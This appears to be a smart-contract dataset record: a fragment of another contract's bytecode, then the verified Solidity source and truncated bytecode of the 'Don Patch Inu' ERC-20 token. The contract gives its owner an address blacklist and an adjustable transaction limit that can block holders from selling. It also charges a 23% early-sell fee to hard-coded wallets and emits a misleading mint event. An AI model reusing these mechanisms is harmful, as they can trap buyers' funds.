f1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610620610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b600190509392505050565b6000600560009054906101000a900460ff16905090565b600061073a61069e610a28565b8461073585600160006106af610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b610a30565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b60006108f161083b610a28565b846108ec856040518060600160405280602581526020016110846025913960016000610865610a28565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b610a30565b6001905092915050565b600061090f610908610a28565b8484610c27565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610a1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110606024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fcb6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061103b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180610fa86023913960400191505060405180910390fd5b610d3e838383610fa2565b610da981604051806060016040528060268152602001610fed602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee89092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e3c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610f95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f5a578082015181840152602081019050610f3f565b50505050905090810190601f168015610f875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202e99d4e44911223040408f42d869401d36d5439be47d6ad1c48b8632043d065f64736f6c63430007010033
[ 38 ]
0xf363518a3500ed4b725e01f7a59c1a549b7ba08e
/** *Submitted for verification at Etherscan.io on 2021-12-07 */ /** https://t.me/donpatchinuofficial https://www.donpatchinu.com/ * * SPDX-License-Identifier: Unlicensed * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract donpatch is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Don Patch Inu"; string private constant _symbol = "DONPATCH"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xc3e7d480eA6106753E62325Ab8e385C412B88d83); _feeAddrWallet2 = payable(0xEd5F5302e6CB1f630e6783f8eb8EC65F59814c29); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xc3e7d480eA6106753E62325Ab8e385C412B88d83), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { // TAX SELLERS 25% WHO SELL WITHIN 24 HOURS if (_buyMap[from] != 0 && (_buyMap[from] + (24 hours) >= block.timestamp)) { _feeAddr1 = 3; _feeAddr2 = 20; } else { _feeAddr1 = 3; _feeAddr2 = 7; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 3; _feeAddr2 = 7; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 19200000000 * 10 ** 9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c2d0ffca1161006f578063c2d0ffca146103d7578063c3c8cd8014610400578063c9567bf914610417578063cc653b441461042e578063dd62ed3e1461046b578063ff872602146104a857610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063bc337182146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104bf565b60405161015c9190612ead565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612a16565b6104fc565b6040516101999190612e92565b60405180910390f35b3480156101ae57600080fd5b506101b761051a565b6040516101c4919061300f565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906129c7565b61052b565b6040516102019190612e92565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612939565b610604565b005b34801561023f57600080fd5b506102486106f4565b6040516102559190613084565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612a93565b6106fd565b005b34801561029357600080fd5b5061029c6107af565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612939565b610821565b6040516102d2919061300f565b60405180910390f35b3480156102e757600080fd5b506102f0610872565b005b3480156102fe57600080fd5b506103076109c5565b6040516103149190612dc4565b60405180910390f35b34801561032957600080fd5b506103326109ee565b60405161033f9190612ead565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612a16565b610a2b565b60405161037c9190612e92565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612a52565b610a49565b005b3480156103ba57600080fd5b506103d560048036038101906103d09190612ae5565b610b99565b005b3480156103e357600080fd5b506103fe60048036038101906103f99190612ae5565b610c38565b005b34801561040c57600080fd5b50610415610cd7565b005b34801561042357600080fd5b5061042c610d51565b005b34801561043a57600080fd5b5061045560048036038101906104509190612939565b6112ae565b604051610462919061300f565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d919061298b565b6112f7565b60405161049f919061300f565b60405180910390f35b3480156104b457600080fd5b506104bd61137e565b005b60606040518060400160405280600d81526020017f446f6e20506174636820496e7500000000000000000000000000000000000000815250905090565b6000610510610509611425565b848461142d565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105388484846115f8565b6105f984610544611425565b6105f4856040518060600160405280602881526020016136f660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105aa611425565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4e9092919063ffffffff16565b61142d565b600190509392505050565b61060c611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069090612f6f565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610705611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078990612f6f565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f0611425565b73ffffffffffffffffffffffffffffffffffffffff161461081057600080fd5b600047905061081e81611cb2565b50565b600061086b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b61087a611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fe90612f6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f444f4e5041544348000000000000000000000000000000000000000000000000815250905090565b6000610a3f610a38611425565b84846115f8565b6001905092915050565b610a51611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad590612f6f565b60405180910390fd5b60005b8151811015610b9557600160076000848481518110610b29577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b8d90613325565b915050610ae1565b5050565b610ba1611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590612f6f565b60405180910390fd5b8060118190555050565b610c40611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc490612f6f565b60405180910390fd5b8060118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d18611425565b73ffffffffffffffffffffffffffffffffffffffff1614610d3857600080fd5b6000610d4330610821565b9050610d4e81611e1b565b50565b610d59611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd90612f6f565b60405180910390fd5b601060149054906101000a900460ff1615610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90612fef565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ec630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061142d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0c57600080fd5b505afa158015610f20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f449190612962565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa657600080fd5b505afa158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fde9190612962565b6040518363ffffffff1660e01b8152600401610ffb929190612ddf565b602060405180830381600087803b15801561101557600080fd5b505af1158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612962565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d630610821565b6000806110e16109c5565b426040518863ffffffff1660e01b815260040161110396959493929190612e31565b6060604051808303818588803b15801561111c57600080fd5b505af1158015611130573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111559190612b0e565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555068010a741a46278000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611258929190612e08565b602060405180830381600087803b15801561127257600080fd5b505af1158015611286573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112aa9190612abc565b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611386611425565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140a90612f6f565b60405180910390fd5b683635c9adc5dea00000601181905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490612fcf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150490612f0f565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115eb919061300f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f90612faf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90612ecf565b60405180910390fd5b6000811161171b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171290612f8f565b60405180910390fd5b61172483612115565b6117f5576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156117c557504262015180600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c29190613145565b10155b156117df576003600b819055506014600c819055506117f0565b6003600b819055506007600c819055505b611893565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156118825742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6003600b819055506007600c819055505b61189b6109c5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190957506118d96109c5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c3e57600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119b25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119bb57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a665750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abc5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad45750601060179054906101000a900460ff165b15611b8457601154811115611ae857600080fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b3357600080fd5b601e42611b409190613145565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611b8f30610821565b9050601060159054906101000a900460ff16158015611bfc5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c145750601060169054906101000a900460ff165b15611c3c57611c2281611e1b565b60004790506000811115611c3a57611c3947611cb2565b5b505b505b611c4983838361216f565b505050565b6000838311158290611c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8d9190612ead565b60405180910390fd5b5060008385611ca59190613226565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d0260028461217f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d2d573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d7e60028461217f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600954821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb90612eef565b60405180910390fd5b6000611dfe6121c9565b9050611e13818461217f90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e79577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ea75781602001602082028036833780820191505090505b5090503081600081518110611ee5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffff